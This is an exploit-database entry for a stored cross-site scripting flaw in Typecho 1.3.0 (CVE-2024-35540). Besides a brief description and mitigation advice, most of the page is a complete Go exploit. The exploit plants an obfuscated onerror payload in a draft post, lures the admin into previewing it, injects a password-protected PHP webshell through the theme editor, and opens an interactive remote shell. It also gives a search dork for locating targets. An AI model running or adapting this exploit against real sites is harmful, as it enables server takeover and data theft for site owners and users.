header-logo
Suggest Exploit
vendor:
Typecho
by:
Michele 'cyberaz0r' Di Bonaventura
6.1
CVSS
HIGH
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: Typecho
Affected Version From: 1.3.2000
Affected Version To: 36586
Patch Exists: NO
Related CWE: CVE-2024-35540
CPE: a:typecho:typecho:1.3.0
Metasploit:
Other Scripts:
Platforms Tested: Docker Image with PHP 7.4
2024

Typecho 1.3.0 – Stored Cross-Site Scripting (XSS)

Typecho 1.3.0 is vulnerable to stored cross-site scripting (XSS). An attacker can exploit this vulnerability to inject malicious scripts into the application, which will be executed in the context of the user's browser. This can lead to theft of sensitive information, session hijacking, or defacement of the website. CVE-2024-35540 has been assigned to this vulnerability.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user inputs, encode output data, and implement Content Security Policy (CSP) headers to prevent the execution of injected scripts.
Source

Exploit-DB raw data:

# Exploit Title: Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35540

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
	"bufio"
	"bytes"
	"crypto/rand"
	"crypto/sha256"
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

var (
	postTitle string       = "Reflected XSS PoC"
	postText  string       = "Hey admin! Look at the draft of this blog post, can I publish it?"
	userAgent string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
	client    *http.Client = &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
)

func getEditUrl(u string, cookies string) string {
	req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
	if err != nil {
		fmt.Println("[X] Error creating initial request:", err)
		return ""
	}

	req.Header.Set("Cookie", cookies)
	req.Header.Set("User-Agent", userAgent)

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending initial request:", err)
		return ""
	}

	buf := new(bytes.Buffer)
	buf.ReadFrom(resp.Body)
	body := buf.String()

	if !strings.Contains(body, "<form action=\"") {
		fmt.Println("[X] Error finding post edit URL")
		return ""
	}

	editUrl := strings.Split(body, "<form action=\"")[1]
	editUrl = strings.Split(editUrl, "\"")[0]

	return editUrl
}

func generateRandomBytes() string {
	bytes := make([]byte, 64)
	rand.Read(bytes)
	return fmt.Sprintf("%x", sha256.Sum256(bytes))
}

func getJsCode(password string) string {
	phpPayload := `
		header("X-Random-Token: " . md5(uniqid()));
		if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
			if (isset($_POST["action"])) {
				system($_POST["action"]);
				exit;
			}
		}
	`
	phpPayload = fmt.Sprintf(phpPayload, password)
	jsPayload := `
		var i = document.createElement('iframe');
		i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
		i.style.display = 'none';
		document.body.appendChild(i);

		setTimeout(() => {
			var textarea = i.contentWindow.document.getElementById('content');
			if (textarea.value.includes(payload))
				return;

			textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);

			var form = i.contentWindow.document.getElementById('theme').submit();
		}, 200);
	`
	return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}

func generatePayload(jsCode string) string {
	remainder := len(jsCode) % 3
	if remainder != 0 {
		jsCode += strings.Repeat(" ", 3-remainder)
	}
	jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
	return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}

func createPost(u string, cookies string, payload string) string {
	formData := url.Values{}
	formData.Set("title", postTitle)
	formData.Set("text", payload+"\n"+postText)
	formData.Set("do", "save")
	formData.Set("markdown", "1")
	formData.Set("category%5B%5D", "1")
	formData.Set("allowComment", "1")
	formData.Set("allowPing", "1")
	formData.Set("allowFeed", "1")
	formData.Set("dst", "60")
	formData.Set("timezone", "7200")

	req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
	if err != nil {
		fmt.Println("[X] Error creating malicious post creation request:", err)
		return ""
	}

	req.Header.Set("Cookie", cookies)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
	req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending malicious post creation request:", err)
		return ""
	}

	defer resp.Body.Close()
	return resp.Header.Get("Location")
}

func checkInjected(u string) bool {
	req, err := http.NewRequest("HEAD", u, nil)
	if err != nil {
		return false
	}

	req.Header.Set("User-Agent", userAgent)

	resp, err := client.Do(req)
	if err != nil {
		return false
	}

	return resp.Header.Get("X-Random-Token") != ""
}

func readInput() string {
	scanner := bufio.NewScanner(os.Stdin)
	if scanner.Scan() {
		return scanner.Text()
	}
	return ""
}

func interactiveShell(u string, password string) {
	for {
		fmt.Print("$ ")
		cmd := readInput()

		formData := url.Values{}
		formData.Set("CSRFToken", password)
		formData.Set("action", cmd)

		req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
		if err != nil {
			fmt.Println("[X] Error creating shell request:", err)
			continue
		}

		req.Header.Set("User-Agent", userAgent)
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))

		resp, err := client.Do(req)
		if err != nil {
			fmt.Println("[X] Error sending shell request:", err)
			continue
		}

		buf := new(bytes.Buffer)
		buf.ReadFrom(resp.Body)
		body := buf.String()

		fmt.Println(body)
	}
}

func main() {
	if len(os.Args) != 3 {
		fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
		os.Exit(1)
	}

	fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")

	targetUrl := os.Args[1]
	cookies := os.Args[2]

	fmt.Println("[*] Getting post edit URL with CSRF token...")
	editUrl := getEditUrl(targetUrl, cookies)
	if editUrl == "" {
		fmt.Println("[-] Could not get post edit URL, exiting...")
		return
	}

	fmt.Println("[+] Edit URL:", editUrl)

	password := generateRandomBytes()
	fmt.Println("[+] Generated password to access the webshell: ", password)

	fmt.Println("[*] Generating JavaScript code to inject webshell...")
	jsCode := getJsCode(password)
	payload := generatePayload(jsCode)

	fmt.Println("[*] Creating malicious post...")
	postUrl := createPost(editUrl, cookies, payload)
	if postUrl == "" || postUrl == "/" {
		fmt.Println("[-] Could not create malicious post, exiting...")
		return
	}

	previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
	fmt.Println("[+] Malicious post created successfully!")
	fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)

	fmt.Println("[*] Waiting for the admin to visit the preview URL...")
	for !checkInjected(targetUrl) {
		time.Sleep(1 * time.Second)
	}

	fmt.Println("[+] Webshell injected successfully!")
	fmt.Println("[+] Enjoy your shell ;)\n")
	interactiveShell(targetUrl, password)
}